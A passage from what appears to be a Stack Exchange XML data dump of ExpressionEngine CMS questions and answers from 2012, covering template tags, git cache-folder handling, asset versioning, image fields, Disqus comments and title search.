EE.&lt;/p&gt;&#xA;" OwnerUserId="104" LastEditorUserId="104" LastEditDate="2012-11-29T08:21:27.100" LastActivityDate="2012-11-29T08:21:27.100" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="734" PostTypeId="1" AcceptedAnswerId="747" CreationDate="2012-11-29T00:22:41.280" Score="4" ViewCount="1036" Body="&lt;p&gt;I need to output the most recent 3 entries from 4 different channels, followed by random entries from any of the four channels, but not including any of the most recent entries. Any idea how to accomplish this? I know how to display random entries, and I know how to display the 3 most recent entries of a channel, but not how to do the two things combined.&lt;/p&gt;&#xA;" OwnerUserId="461" LastEditorUserId="28" LastEditDate="2012-12-16T06:12:09.343" LastActivityDate="2012-12-16T06:12:09.343" Title="ExpressionEngine - displaying most recent 3 entries of each channel, followed by random (but non-repeating) entries" Tags="|channel-entries|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="735" PostTypeId="2" ParentId="724" CreationDate="2012-11-29T00:57:08.520" Score="0" Body="&lt;p&gt;If I were to look at this question in a more general sense, it's possible that you are in fact accessing / viewing the output of several templates because of embeds.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One of the best ways to determine which templates are being used in a page view is to enable template debugging and look through the list.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/admin/output_and_debugging_preferences.html&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/cp/admin/output_and_debugging_preferences.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In that list you will see which templates are being loaded (the main template as well as the embeds) and which order they are being loaded in. You will also see a list of tags which are being loaded.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, in your example, you are really looking at segment variables, which aren't always coupled directly to specific templates. There are lots of methods which may make URL segments unreliable indicators of which templates are being used. For example, the pages module allows for custom URL segments.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your case, I would typically do something like what Pat Brumfield mentioned. I would create an embedded template for the navigation and then from the main template (the one referencing the embed) I would use a embed variable to indicate which section the site is in. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{embed=&quot;includes/sidebar&quot; section=&quot;home&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And then, in the sidebar I would have a conditional which would look something like this.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;li{if embed:section == &quot;home&quot;} class=&quot;active&quot;{/if}&amp;gt;Nav Item&amp;lt;/li&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="274" LastActivityDate="2012-11-29T00:57:08.520" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="736" PostTypeId="2" ParentId="714" CreationDate="2012-11-29T01:18:10.307" Score="4" Body="&lt;p&gt;We use a single .gitignore file in the root directory, and we specifically list all subfolders.  This way, the cache folder can contain the default index.html file, and will be indexed by git.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;system/expressionengine/cache/ee_version/&#xA;system/expressionengine/cache/ee_version/current_version&#xA;system/expressionengine/cache/tag_cache&#xA;system/expressionengine/cache/tag_cache_delete&#xA;system/expressionengine/cache/lg_cache&#xA;system/expressionengine/cache/db_cache&#xA;system/expressionengine/cache/magpie_cache/*&#xA;system/expressionengine/cache/page_cache&#xA;system/expressionengine/cache/page_cache_delete/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;We set permissions on the main cache folder, and EE is able to create cache folders on its own. This has worked well for us!&lt;/p&gt;&#xA;" OwnerUserId="133" LastActivityDate="2012-11-29T01:18:10.307" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="737" PostTypeId="2" ParentId="714" CreationDate="2012-11-29T01:37:42.773" Score="9" Body="&lt;p&gt;The other answers are going about this a slightly convoluted way. You don't need a special .gitignore in each folder, and that makes it hard for other developers to figure out what's going on (or you in a few months).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just ignore the whole cache folder in your root &lt;code&gt;.gitignore&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ cd /path/to/root&#xA;$ echo &quot;system/expressionengine/cache/&quot; &amp;gt;&amp;gt; .gitignore&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then, the standard git practice for empty directories is to add an empty file named &lt;code&gt;.gitkeep&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ touch system/expressionengine/cache/.gitkeep&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Since EE ships with an &lt;code&gt;index.html&lt;/code&gt; file in the cache directory, you can use that instead. As long as the directory has at least one file in it, it will get created on your live server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You also don't need to add any extra gitignore rules to exclude this file. Just add that particular file using &lt;code&gt;--force&lt;/code&gt; (which overrides any gitignore instructions):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ git add --force system/expressionengine/cache/index.html&#xA;$ git commit -m &quot;Add index.html file to cache directory&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now your folder will always get created, but git won't ever bother telling you about changes to that directory. You should do the same thing for all the &lt;code&gt;images/&lt;/code&gt; directories as well.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2012-11-29T01:37:42.773" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="738" PostTypeId="1" AcceptedAnswerId="740" CreationDate="2012-11-29T01:57:02.050" Score="3" ViewCount="1641" Body="&lt;p&gt;I like this feature for linking CSS within the templates:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;link href=&quot;{stylesheet='styles/main'}&quot; rel=&quot;stylesheet&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The great thing about this is that it does versioning automatically, which means I don't have to worry about old styles being cached, or trying to rename my CSS files, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to do the same for JS files? Right now, I do this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script src=&quot;{path=&quot;scripts/main&quot;}&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It doesn't do the versioning thing.&lt;/p&gt;&#xA;" OwnerUserId="324" LastEditorUserId="22" LastEditDate="2012-11-29T14:54:43.127" LastActivityDate="2012-11-29T19:42:50.673" Title="How to link JS in template files ala CSS?" Tags="|templates|" AnswerCount="3" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="739" PostTypeId="2" ParentId="738" CreationDate="2012-11-29T03:05:00.957" Score="1" Body="&lt;p&gt;I generally keep my CSS &amp;amp; JS outside of the EE template parser. That said, you could do something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script src=&quot;{path=&quot;scripts/main&quot;}{current_time}&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;on each refresh that will change.&lt;/p&gt;&#xA;" OwnerUserId="146" LastActivityDate="2012-11-29T03:05:00.957" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="740" PostTypeId="2" ParentId="738" CreationDate="2012-11-29T03:05:37.167" Score="15" Body="&lt;p&gt;Yeah, the smart cache-busting is a useful feature of keeping your CSS in EE. But add-ons will let you do the same and keep your CSS outside of EE.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;To get similar behavior for your JS files you need an an add-on&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I recommend &lt;a href=&quot;http://devot-ee.com/add-ons/minimee&quot;&gt;&lt;strong&gt;Minimee&lt;/strong&gt;&lt;/a&gt;. Not only does it combine and minify CSS and JS, creating a cached file with a unique name, it also automatically creates a new version of the file if there are changes to your CSS or JS. It has useful config overrides and a ton of other features to boot. It will also free you up to have this same smart cache-busting benefit while keeping your CSS and JS outside of EE.&lt;/p&gt;&#xA;" OwnerUserId="22" LastEditorUserId="22" LastEditDate="2012-11-29T19:42:50.673" LastActivityDate="2012-11-29T19:42:50.673" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="741" PostTypeId="1" AcceptedAnswerId="744" CreationDate="2012-11-29T03:10:27.620" Score="1" ViewCount="1405" Body="&lt;p&gt;One of my channels allow users to upload images. Two problems:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;I've defined a max width and height in the file upload preferences (and my channel field uploads to that). However, I am able to upload images beyond the max width and height.&lt;/li&gt;&#xA;&lt;li&gt;When I am displaying this image to the browser, how do I get the image's width and height? The following doesn't work:&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;img src=&quot;{banner_image}&quot; width=&quot;{width}&quot; height=&quot;{height}&quot; alt=&quot;{alternate_text}&quot;&amp;gt;&amp;lt;/img&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="324" LastActivityDate="2012-11-29T03:59:32.993" Title="Uploaded Image: how to get height and width? Restricting height and width?" Tags="|templates|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="742" PostTypeId="2" ParentId="738" CreationDate="2012-11-29T03:12:29.950" Score="1" Body="&lt;p&gt;Unfortunately there's no way to version javascript templates natively.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your best bet is to go with the add-on Alex mentioned.&lt;/p&gt;&#xA;" OwnerUserId="133" LastActivityDate="2012-11-29T03:12:29.950" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="743" PostTypeId="2" ParentId="734" CreationDate="2012-11-29T03:21:05.440" Score="0" Body="&lt;p&gt;I think you can probably do that with the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_entries.html#orderby&quot; rel=&quot;nofollow&quot;&gt;offset&lt;/a&gt; parameter.&lt;/p&gt;&#xA;" OwnerUserId="116" LastActivityDate="2012-11-29T03:21:05.440" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="744" PostTypeId="2" ParentId="741" CreationDate="2012-11-29T03:34:58.037" Score="6" Body="&lt;p&gt;Assuming you are using the ExpressionEngine File Fieldtype... In answer to #2, take a look at the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/custom_fields.html#file-field&quot;&gt;documentation for the file field&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Specifically, the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/custom_fields.html#variable-pair-usage&quot;&gt;variable pair usage&lt;/a&gt; will allow you to pull in the &lt;code&gt;width&lt;/code&gt; and &lt;code&gt;height&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{banner_image}&#xA;    &amp;lt;img src=&quot;{url}&quot; width=&quot;{width}&quot; height=&quot;{height}&quot;&amp;gt;&#xA;{/banner_image}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;I can't speak with much experience to question #1 since I've long disregarded the setting for max width and height in file upload preferences in favor of using plugins like &lt;a href=&quot;http://devot-ee.com/add-ons/ce-image&quot;&gt;CE Image&lt;/a&gt; (highly recommended!), but if you need specific sizes without using an add-on you can use the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/content/files/file_upload_preferences.html#image-manipulations&quot;&gt;Image Manipulations&lt;/a&gt; feature that is built into EE. Once you have those set up, an image at a particular size is available by name like this &lt;code&gt;{banner_image:custom_size_name}&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="22" LastEditorUserId="22" LastEditDate="2012-11-29T03:59:32.993" LastActivityDate="2012-11-29T03:59:32.993" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="745" PostTypeId="2" ParentId="734" CreationDate="2012-11-29T03:35:13.017" Score="3" Body="&lt;p&gt;You might be able to do it using &lt;a href=&quot;http://devot-ee.com/add-ons/stash&quot; rel=&quot;nofollow&quot;&gt;Stash&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could try doing your first entries tag with the limit of 3 and order by date descending. In that loop, you could create a stash var of the piped result IDs, like &quot;123|122|110&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could then do a second entries tag and set the entry_id parameter to &quot;not {exp:stash:your_var_name}&quot; and filter by random. You may have to play around with &lt;a href=&quot;https://github.com/croxton/Stash/tree/dev#expstashparse-tag-pair&quot; rel=&quot;nofollow&quot;&gt;{exp:stash:parse}&lt;/a&gt; for the second entries tag to get the parse order right.&lt;/p&gt;&#xA;" OwnerUserId="409" LastActivityDate="2012-11-29T03:35:13.017" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="746" PostTypeId="2" ParentId="659" CreationDate="2012-11-29T06:25:09.640" Score="2" Body="&lt;p&gt;Everything is sorted now. It turns out I only needed to update Playa to the latest version, and all my troubles disappeared.&lt;/p&gt;&#xA;" OwnerDisplayName="user417" LastActivityDate="2012-11-29T06:25:09.640" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="747" PostTypeId="2" ParentId="734" CreationDate="2012-11-29T07:08:18.007" Score="9" Body="&lt;p&gt;Pulling everyones answers together (including post from original StackExchange) and utilising Stash (https://github.com/croxton/Stash/tree/dev) as Jim suggested:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;about&quot; orderby=&quot;date&quot; limit=&quot;3&quot;}&#xA;   ..content..&#xA;   {exp:stash:set name=&quot;exclude&quot; append=&quot;yes&quot;}{entry_id}|{/exp:stash:set}&#xA;{/exp:channel:entries}&#xA;&#xA;{exp:channel:entries channel=&quot;news&quot; orderby=&quot;date&quot; limit=&quot;3&quot;}&#xA;   ..content..&#xA;   {exp:stash:set name=&quot;exclude&quot; append=&quot;yes&quot;}{entry_id}|{/exp:stash:set}&#xA;{/exp:channel:entries}&#xA;&#xA;{exp:channel:entries channel=&quot;services&quot; orderby=&quot;date&quot; limit=&quot;3&quot;}&#xA;   ..content..&#xA;   {exp:stash:set name=&quot;exclude&quot; append=&quot;yes&quot;}{entry_id}|{/exp:stash:set}&#xA;{/exp:channel:entries}&#xA;&#xA;{exp:channel:entries channel=&quot;products&quot; orderby=&quot;date&quot; limit=&quot;3&quot;}&#xA;   ..content..&#xA;   {exp:stash:set name=&quot;exclude&quot; append=&quot;yes&quot;}{entry_id}|{/exp:stash:set}&#xA;{/exp:channel:entries}&#xA;&#xA;{embed=&quot;includes/random-entries&quot; exclude=&quot;{exp:stash:get name=&quot;exclude&quot;}&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In a new template &quot;random-entries&quot;, in an &quot;includes&quot;: group...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; {exp:channel:entries channel=&quot;about|news|services|products&quot; entry_id=&quot;not {embed:exclude}0&quot; orderby=&quot;random&quot; limit=&quot;10&quot;}&#xA;    ..content..&#xA; {/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="425" LastActivityDate="2012-11-29T07:08:18.007" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="748" PostTypeId="1" AcceptedAnswerId="761" CreationDate="2012-11-29T08:32:54.057" Score="3" ViewCount="2407" Body="&lt;p&gt;Does anyone know of a plugin to show the latest few Disqus comments that have been made across the entire site. Disqus seems to have deprecated their recent comments widget.&lt;/p&gt;&#xA;" OwnerUserId="349" LastActivityDate="2013-05-07T05:25:20.627" Title="How do you show the recent Disqus comments feed?" Tags="|comments|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="749" PostTypeId="1" AcceptedAnswerId="751" CreationDate="2012-11-29T08:57:27.000" Score="4" ViewCount="718" Body="&lt;p&gt;How do you remove the localised/fixed dropdown on the date fieldtype?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/URXTE.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="349" LastActivityDate="2017-02-02T18:16:17.403" Title="Date field type - remove &quot;Localised/Fixed&quot;" Tags="|custom-fields|date|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="751" PostTypeId="2" ParentId="749" CreationDate="2012-11-29T09:45:21.750" Score="6" Body="&lt;p&gt;I don't think that's possible. Instead, use the FieldType &lt;a href=&quot;http://devot-ee.com/add-ons/dropdate&quot;&gt;DropDate&lt;/a&gt; instead. It's free and very well done. &lt;/p&gt;&#xA;" OwnerUserId="169" LastActivityDate="2012-11-29T09:45:21.750" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="752" PostTypeId="2" ParentId="748" CreationDate="2012-11-29T09:48:02.497" Score="0" Body="&lt;p&gt;Take a look at &lt;a href=&quot;http://devot-ee.com/add-ons/cx-disqus-comments&quot; rel=&quot;nofollow&quot;&gt;CX Disqus Comments&lt;/a&gt; and &lt;a href=&quot;http://devot-ee.com/add-ons/disqus&quot; rel=&quot;nofollow&quot;&gt;Disqus&lt;/a&gt;. Disqus is free though CX Disqus Comments isn't. I'm not really sure if they do exactly what you're asking for but take a look. &lt;/p&gt;&#xA;" OwnerUserId="169" LastActivityDate="2012-11-29T09:48:02.497" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="753" PostTypeId="1" AcceptedAnswerId="758" CreationDate="2012-11-29T11:05:04.740" Score="7" ViewCount="1974" Body="&lt;p&gt;this doesn't seem to work, since you can only &quot;search&quot; in custom fields:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;#&quot; search:title=&quot;foo&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there any way to easily achieve this ?&#xA;Preferably without adding any custom fields or using advanced search add-ons.&lt;/p&gt;&#xA;" OwnerUserId="174" LastEditorUserId="15" LastEditDate="2012-11-29T17:24:47.063" LastActivityDate="2016-01-19T11:34:35.263" Title="search:title doesn't work" Tags="|ee2|add-on|channel-entries|search|" AnswerCount="5" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="754" PostTypeId="2" ParentId="753" CreationDate="2012-11-29T11:33:05.310" Score="1" Body="&lt;p&gt;Seems like there should be an obvious answer but that being said, I'd use stash:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//Open up a stash list&#xA;{exp:stash:set_list parse_tags=&quot;yes&quot; name=&quot;my_entries&quot;}&#xA;//Open up your channel&#xA;{exp:channel:entries channel=&quot;#&quot; disable=&quot;Whatever&quot;}&#xA;//Capture the entry title&#xA;{stash:entry_title}{title}{/stash:entry_title}&#xA;//Maybe even a description&#xA;{stash:entry_desc}{desc}{/stash:entry_desc}&#xA;{/exp:channel:entries}&#xA;//Close stash&#xA;{exp:stash:set_list}&#xA;&#xA;//Now display the results matching a regex string to the entry title&#xA;{exp:stash:get_list name=&quot;my_entries&quot; match=[#foo#] against=&quot;entry_title&quot;}&#xA;{entry_title}//Display the title of any results&#xA;{entry_desc}// And the description or any other value(s) caught initially&#xA;{/exp:stash:get_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I haven't looked at the EE docs for a while but using Stash alot lately and this should work.&lt;/p&gt;&#xA;" OwnerUserId="166" LastActivityDate="2012-11-29T11:33:05.310" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="755" PostTypeId="1" AcceptedAnswerId="756" CreationDate="2012-11-29T12:14:36.573" Score="5" ViewCount="477" Body="&lt;p&gt;In the margin of my blog, I list featured articles. This is the code.&#xA;My problem: I don´t always have stuff to feature. When the channel entries tag is empty a grey box with the title Featured is left over. I dont want to use a conditional, that says &#xA;&quot;if no entry, then print &quot;Nothing to feature yet&quot;.&quot;&lt;br&gt;&#xA;I want to get rid of the entire box. How can i do this? &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;panel&quot;&amp;gt;&#xA;  &amp;lt;h5&amp;gt;Featured&amp;lt;/h5&amp;gt;&#xA;  {exp:channel:entries channel=&quot;blog&quot; limit=&quot;2&quot; status=&quot;featured&quot;}&#xA;    &amp;lt;p&amp;gt;&amp;lt;a href=&quot;{url_title_path='eintrag/index'}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&#xA;  {/exp:channel:entries}&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="136" LastEditorUserId="104" LastEditDate="2012-11-29T12:24:53.453" LastActivityDate="2012-11-29T12:24:53.453" Title="How do I hide a div when the channel entries tag it contains has no results?" Tags="|ee2|tags|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="756" PostTypeId="2" ParentId="755" CreationDate="2012-11-29T12:18:58.703" Score="25" Body="&lt;p&gt;Bring the &lt;code&gt;&amp;lt;div&amp;gt;&lt;/code&gt; inside your channel entries tag and do something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;blog&quot; limit=&quot;2&quot; status=&quot;featured&quot;}&#xA;  {if count == 1}&#xA;  &amp;lt;div class=&quot;panel&quot;&amp;gt;&#xA;    &amp;lt;h5&amp;gt;Featured&amp;lt;/h5&amp;gt;&#xA;  {/if}&#xA;      &amp;lt;p&amp;gt;&amp;lt;a href=&quot;{url_title_path='eintrag/index'}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&#xA;  {if count == total_results}&#xA;  &amp;lt;/div&amp;gt;&#xA;  {/if}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;ie, output the opening &lt;code&gt;&amp;lt;div&amp;gt;&lt;/code&gt; and &lt;code&gt;&amp;lt;h5&amp;gt;&lt;/code&gt; only on the first item in the loop, and only output the closing &lt;code&gt;&amp;lt;div&amp;gt;&lt;/code&gt; on the last item in the loop. This way no content is output if there are no results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also optionally handle the &lt;code&gt;no_results&lt;/code&gt; condition specially using the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_entries.html#if-no-results&quot;&gt;&lt;code&gt;{if no_results}&lt;/code&gt; conditional&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="104" LastActivityDate="2012-11-29T12:18:58.703" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="757" PostTypeId="2" ParentId="715" CreationDate="2012-11-29T12:29:20.400" Score="3" Body="&lt;p&gt;A few thoughts:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Have you read the plugin's &lt;a href=&quot;http://www.causingeffect.com/software/expressionengine/ce-tweet/tags/user_timeline&quot; rel=&quot;nofollow&quot;&gt;user timeline&lt;/a&gt; documentation? It makes no reference to a &lt;code&gt;field&lt;/code&gt; parameter nor is there any indication that the plugin integrates with the channel module. I'm not sure why you've created a &lt;code&gt;twitter&lt;/code&gt; channel but it sounds as though you're trying to do something that the plugin doesn't support.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If ever you're debugging something the first step is usually to remove all extraneous code. The same applies when posting questions to StackExchange. I'd suggest removing everything within the &lt;code&gt;{exp:ce_tweet:user_timeline}&lt;/code&gt; tags and replacing it with a simple &lt;code&gt;{text}&lt;/code&gt; var (since that should output the text of individual tweets).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Recent versions of the Twitter API require OAuth credentials for all requests. I'm not sure which API endpoint this add-on uses but the &lt;a href=&quot;http://www.causingeffect.com/software/expressionengine/ce-tweet/installation&quot; rel=&quot;nofollow&quot;&gt;installation instructions&lt;/a&gt; make it clear that you need to setup OAuth tokens. Have you done that?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="77" LastActivityDate="2012-11-29T12:29:20.400" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="758" PostTypeId="2" ParentId="753" CreationDate="2012-11-29T12:33:12.933" Score="9" Body="&lt;p&gt;You're correct that the native &lt;code&gt;search:field_name&lt;/code&gt; param only works on custom fields and not titles, annoyingly, so we do need an addon to do this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Stash is overkill for this use case though and requires a lot of code to get the (fairly simple) job done.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd use another fine Croxton product instead: the &lt;a href=&quot;http://devot-ee.com/add-ons/search-fields&quot;&gt;Search Fields Plugin&lt;/a&gt;, just wrap it around your &lt;code&gt;{exp:channel:entries}&lt;/code&gt; tag:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:search_fields &#xA;    search:title=&quot;keyword&quot; &#xA;    channel=&quot;my_channel&quot; &#xA;    parse=&quot;inward&quot;}&#xA;    {exp:channel:entries entry_id=&quot;{search_results}&quot; disable=&quot;member_data|categories&quot; dynamic=&quot;no&quot; orderby=&quot;title&quot; sort=&quot;asc&quot; limit=&quot;10&quot;}&#xA;        &amp;lt;a href=&quot;{page_url}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&#xA;    {/exp:channel:entries}&#xA;{/exp:search_fields}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="104" LastEditorUserId="104" LastEditDate="2012-11-29T13:22:12.123" LastActivityDate="2012-11-29T13:22:12.123" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="759" PostTypeId="2" ParentId="715" CreationDate="2012-11-29T12:35:06.593" Score="3" Body="&lt;p&gt;You need to configure your API access via ExpressionEngine's config.php file, where you'll need to add this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//CE Tweet&#xA;$config['ce_tweet_consumer_key'] = 'consumer_key_here';&#xA;$config['ce_tweet_consumer_secret'] = 'consumer_secret_here';&#xA;$config['ce_tweet_oauth_token'] = 'access_token_here';&#xA;$config['ce_tweet_oauth_secret'] = 'access_token_secret_here';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.causingeffect.com/software/expressionengine/ce-tweet/installation&quot; rel=&quot;nofollow&quot;&gt;http://www.causingeffect.com/software/expressionengine/ce-tweet/installation&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="33" LastActivityDate="2012-11-29T12:35:06.593" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="760" PostTypeId="1" AcceptedAnswerId="763" CreationDate="2012-11-29T12:43:53.513" Score="4" ViewCount="339" Body="&lt;p&gt;I need a Fieldtype that shows radion buttons for a user.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However I want an extra option for the user to provide text to a textfield if one of the options for the radio buttons is &quot;other, ...&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible or is there a addon that can do this?&lt;/p&gt;&#xA;" OwnerUserId="385" LastEditorUserId="22" LastEditDate="2012-11-29T17:03:27.697" LastActivityDate="2012-11-29T17:03:27.697" Title="Fieldtype for radio buttons with extra option to provide input from user" Tags="|fields|" AnswerCount="2" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="761" PostTypeId="2" ParentId="748" CreationDate="2012-11-29T12:48:45.607" Score="5" Body="&lt;p&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/cx-disqus-comments&quot;&gt;CX Disqus Comments&lt;/a&gt; and &lt;a href=&quot;http://devot-ee.com/add-ons/disqus&quot;&gt;Disqus&lt;/a&gt; both have the ability to sync/store native comments on your EE site. Once you have the Disqus comments synced into EE, you can use &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/comment/index.html&quot;&gt;comment tags&lt;/a&gt; to display recent comments across the entire site:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:comment:entries sort=&quot;asc&quot; limit=&quot;5&quot; dynamic=&quot;no&quot;}&#xA;        {comment}&#xA;        &amp;lt;p&amp;gt;By {name} on {comment_date format=&quot;%Y %m %d&quot;}&amp;lt;/p&amp;gt;&#xA;{/exp:comment:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="33" LastActivityDate="2012-11-29T12:48:45.607" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
